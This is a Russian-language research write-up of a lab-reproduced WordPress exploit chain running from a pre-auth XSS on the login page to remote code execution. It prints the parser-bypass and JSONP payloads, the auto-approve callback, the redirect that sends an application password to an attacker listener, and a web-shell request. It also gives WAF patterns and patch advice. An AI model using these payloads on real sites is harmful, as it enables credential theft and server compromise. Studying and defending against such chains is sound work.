Только авторизованное тестирование.
Всё описанное ниже выполнялось в локальной лаборатории (WordPress 7.0.2 на localhos). Не используйте эти техники против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Краткое резюме
XSS2Shell — это не одна уязвимость, а семиэтапная цепочка эксплойтов, которая начинается с одного символа (< за которым следует пробел), обходящего два разных HTML-парсера на странице входа WordPress, и заканчивается выполнением PHP на сервере от имени www-data.
Чем это опасно:
- Этап 1 не требует аутентификации — любой может запустить JavaScript на
wp-login.php. - Уязвимость находится в ядре WordPress — не в плагине; фактически каждая поддерживаемая установка начиная с 2016 года подвержена этой проблеме.
- Используется собственный код WordPress —
user-profile.js, REST JSONP, пароли приложений, загрузка плагинов — в качестве вспомогательных инструментов. - Полноценное удалённое выполнение кода продемонстрировано и признано WordPress — хотя для этого требуется вынудить авторизованного администратора совершить один клик.
В этой статье каждый этап описан с приложением скриншотов из нашей локальной лаборатории.
Лабораторная среда
git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 на http://localhost:9080| Component | URL | Credentials |
|---|---|---|
| Vulnerable WordPress | http://localhost:9080 | admin / admin123! |
| Patched comparison | http://localhost:9081 | (optional) |
| Attacker listener | http://127.0.0.1:9090 | started by PoC script |

Каждый сайт на WordPress открывает доступ к /wp-login.php. Эта страница является точкой входа для всей цепочки.
Этап 0: Дифференциал парсера (первопричина)
При неудачном входе WordPress отображает введённое имя пользователя в сообщении об ошибке. Имя пользователя проходит через два санитайзера, которые по-разному понимают, что такое «тег»:
| Layer | Function | Sees < area as… |
|---|---|---|
| PHP | strip_tags() | Plain text (space after < = not a tag) |
| WordPress KSES | wp_kses_post() | Valid HTML element |
Полезная нагрузка использует пробел после<:
< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">XНа уязвимом WordPress 7.0.2 это проходит санитизацию и становится активным DOM:
./scripts/demo-parser-diff.sh http://localhost:9080
На исправленном WordPress 7.0.4 тот же payload экранируется как HTML в сообщении об ошибке — живые элементы не создаются.
Эта уязвимость существует начиная с WordPress 4.7 (2016) и не была обнаружена в ходе многолетних аудитов безопасности.
Этап 1: XSS без предварительной аутентификации (вход не требуется)
Внедрённые DOM-узлы соответствуют селекторам, которые собственный скрипт WordPress user-profile.js ищет на странице входа (загружается в процессе сброса пароля):
.reset-pass-submit .wp-generate-pwавтоматически нажимается при загрузке страницы- Клик всплывает до делегированного обработчика
#color-picker - Проверка защиты
user_id === checkuser_idпроходит, поскольку оба значения равныundefined - jQuery отправляет POST на
ajaxurl— ноajaxurlне существует на странице входа…
Если только мы не переопределим его:
<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>Элемент <area id=ajaxurl> становится window.ajaxurl. jQuery вызывает .toString() → возвращает href. WordPress REST возвращает JSONP → jQuery globalEval() → alert()выполняется в контексте источника WordPress.

Отправьте форму (или откройте demo/stage1-preauth-xss.html и нажмите Run Stage 1):

Последствия только этого этапа: фишинг учётных данных на реальном домене, перехват сессии, вызовы API с того же источника — без какой-либо аутентификации.
Этап 2: Социальная инженерия — клик администратора
Этапы 2–7 требуют, чтобы авторизованный администратор открыл страницу, подконтрольную злоумышленнику. Именно это снижает CVSS ниже 10 — однако для целевых атак такой сценарий вполне реалистичен.
Администратор может получить сообщение: «Ваша сессия истекла — нажмите здесь для повторной аутентификации.»

При нажатии страница атакующего:
- Открывает дочернее всплывающее окно (
about:blank) - Перенаправляет главное окно на страницу авторизации паролей приложений WordPress
- Записывает XSS-форму в дочернее всплывающее окно и автоматически отправляет её на
wp-login.php

Этап 3: Выполнение методов одного источника (SOME) — автоматическое подтверждение
XSS-полезная нагрузка дочернего окна изменяет JSONP-колбэк с alert на:
window.opener.approve.clickWordPress REST оборачивает ответ:
/**/window.opener.approve.click({...})Скрипт обращается к window.opener (родительское окно) → .approve (кнопка #approve) → .click(). Кнопка Approve для паролей приложений нажимается автоматически — без каких-либо действий пользователя на этой странице.

Обратите внимание на URL колбэка на странице: учётные данные будут отправлены на http://127.0.0.1:9090/callback?...&password=[------].
Этап 4: Перехват пароля приложения
WordPress создаёт новый пароль приложения и перенаправляет на success_url злоумышленника с учётными данными в строке запроса:
http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXXТеперь у злоумышленника есть учётные данные HTTP Basic auth для WordPress REST API — полученные из сессии администратора, без того чтобы администратор что-либо вводил после первоначального перехода по ссылке.
Этап 5: Публикация страницы под контролем злоумышленника
Используя похищенный пароль приложения, злоумышленник отправляет POST-запрос на /wp-json/wp/v2/pages и публикует страницу со встроенным JavaScript. Администраторы обладают правом unfiltered_html — теги script сохраняются.
Этап 6: Загрузка плагина через сессию администратора
JavaScript злоумышленника (выполняющийся в браузере администратора на опубликованной странице):
- Получает
/wp-admin/plugin-install.php?tab=uploadдля получения одноразового токена загрузки - Отправляет POST-запрос с вредоносным ZIP-архивом на
/wp-admin/update.php?action=upload-plugin - WordPress извлекает его в
wp-content/plugins/xss2shell/
Плагин не нужно активировать. PHP-файлы в директории плагина доступны напрямую через веб.
Этап 7: Удалённое выполнение кода
GET /wp-content/plugins/xss2shell/shell.php?cmd=whoamiОтвет:
{ "rce": true, "user": "www-data", "output": "www-data\n" }
Злоумышленник теперь выполняет произвольные команды от имени пользователя веб-сервера — читает wp-config.php (учётные данные базы данных), дампит базу данных, осуществляет горизонтальное перемещение.
Полный вывод терминала PoC:

Вся цепочка в двух словах
sequenceDiagram participant A as Сервер злоумышленника participant V as Браузер жертвы participant W as WordPress 7.0.2 Note over V,W: Администратор авторизован V->>A: Открывает фишинговую ссылку (1 клик) A->>V: HTML злоумышленника + дочернее окно V->>W: Главное окно → authorize-application.php V->>W: Дочернее окно отправляет XSS-нагрузку на wp-login.php W->>V: JSONP выполняет window.opener.approve.click Note over V,W: Кнопка Approve нажата автоматически W->>A: Редирект с паролем приложения A->>W: REST API публикует страницу (Basic auth) V->>W: Администратор заходит на страницу → загружает ZIP плагина V->>W: GET shell.php?cmd=whoami W-->>A: www-dataНасколько это действительно опасно?
Что гарантировано (высокая степень уверенности)
| Property | Value |
|---|---|
| Authentication for XSS | None |
| Affected installs | All WordPress 4.7+ before patch |
| Default-config exploitability | Stage 1 works out of the box |
| User interaction for XSS | Victim visits attacker URL |
Что требует дополнительных условий (путь к RCE)
| Condition | Notes |
|---|---|
| Logged-in administrator | Must have active WP session |
| Social engineering | Admin must click attacker link |
| Application Passwords enabled | Default since WP 5.6; needs HTTPS or local env |
| Popup not blocked | Browser must allow window.open from user gesture |
Калибровка степени серьёзности
| Metric | Value | Interpretation |
|---|---|---|
| CVSS 4.0 | 8.9 High | Full chain impact scored; not Critical because of UI:A |
| CVSS 3.1 | 6.1 Medium | Older scoring undervalues chained impact |
| EPSS | ~0.77% | Low predicted mass exploitation (Aug 2026) |
| CISA KEV | Not listed | No confirmed in-the-wild mass exploitation yet |
| Public PoCs | Multiple on GitHub | Exploitation window may shrink |
Итог: Это не самораспространяющаяся RCE без единого клика, как Log4Shell. Это технически сложная уязвимость на уровне ядра, затрагивающая ~43% веба, при которой:
- Только первый этап представляет собой серьёзный pre-auth XSS на странице входа
- Полная цепочка превращает один клик администратора в компрометацию сервера
- Первопричина (расхождение парсеров) применима к любой кодовой базе, использующей несколько HTML-парсеров
В собственном уведомлении WordPress указано, что для RCE необходимы «условия, находящиеся вне контроля злоумышленника» и «успешная социальная инженерия». Это верно — однако продемонстрированная цепочка делает эти условия достижимыми с помощью единственной ссылки.
Воспроизведение полной цепочки локально
# 1. Запустить лабораторию make up # 2. Включить пароли приложений по HTTP (только для лаборатории) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Запустить слушатель PoC python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. В браузере: # a. Войдите как admin на http://localhost:9080/wp-login.php # b. Откройте http://127.0.0.1:9091/phishing-sim.html # c. Нажмите «Open attacker page» (разрешите всплывающие окна) # d. Дождитесь вывода в терминале с результатом shell + whoamiЗащита
| Priority | Action |
|---|---|
| Immediate | Update to WordPress 7.0.3 or your branch's patched release (full list) |
| Verify | ./scripts/demo-parser-diff.sh should show no injected elements |
| Harden | Disable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins |
| Monitor | Watch for failed-login usernames containing < area patterns |
| WAF | Block < area / < div patterns on wp-login.php POST bodies |
Исправление добавляет esc_html() к имени пользователя в пути ошибки входа — гарантируя, что строка обрабатывается как текст, а не повторно разбирается как HTML.
Почему это важно для исследований в области безопасности
Каждое звено цепочки по отдельности выглядит незначительным:
- Дифференциал парсера → незначительная проблема низкой серьёзности
- Неправильный скрипт загружается на странице входа → низкая
- Обратный вызов JSONP проверяется регулярным выражением → средняя
- Пароль приложения в URL перенаправления → средняя
- Директория плагина выполняет PHP без активации → известная особенность дизайна
В совокупности — CVSS 8.9 и получение оболочки.
Вывод: при оценке XSS-уязвимостей задавайте вопрос: «Что уже загружено на этой странице и что произойдёт, если передать ему нужные DOM-узлы?» Критичность — это свойство цепочки, а не отдельной уязвимости.



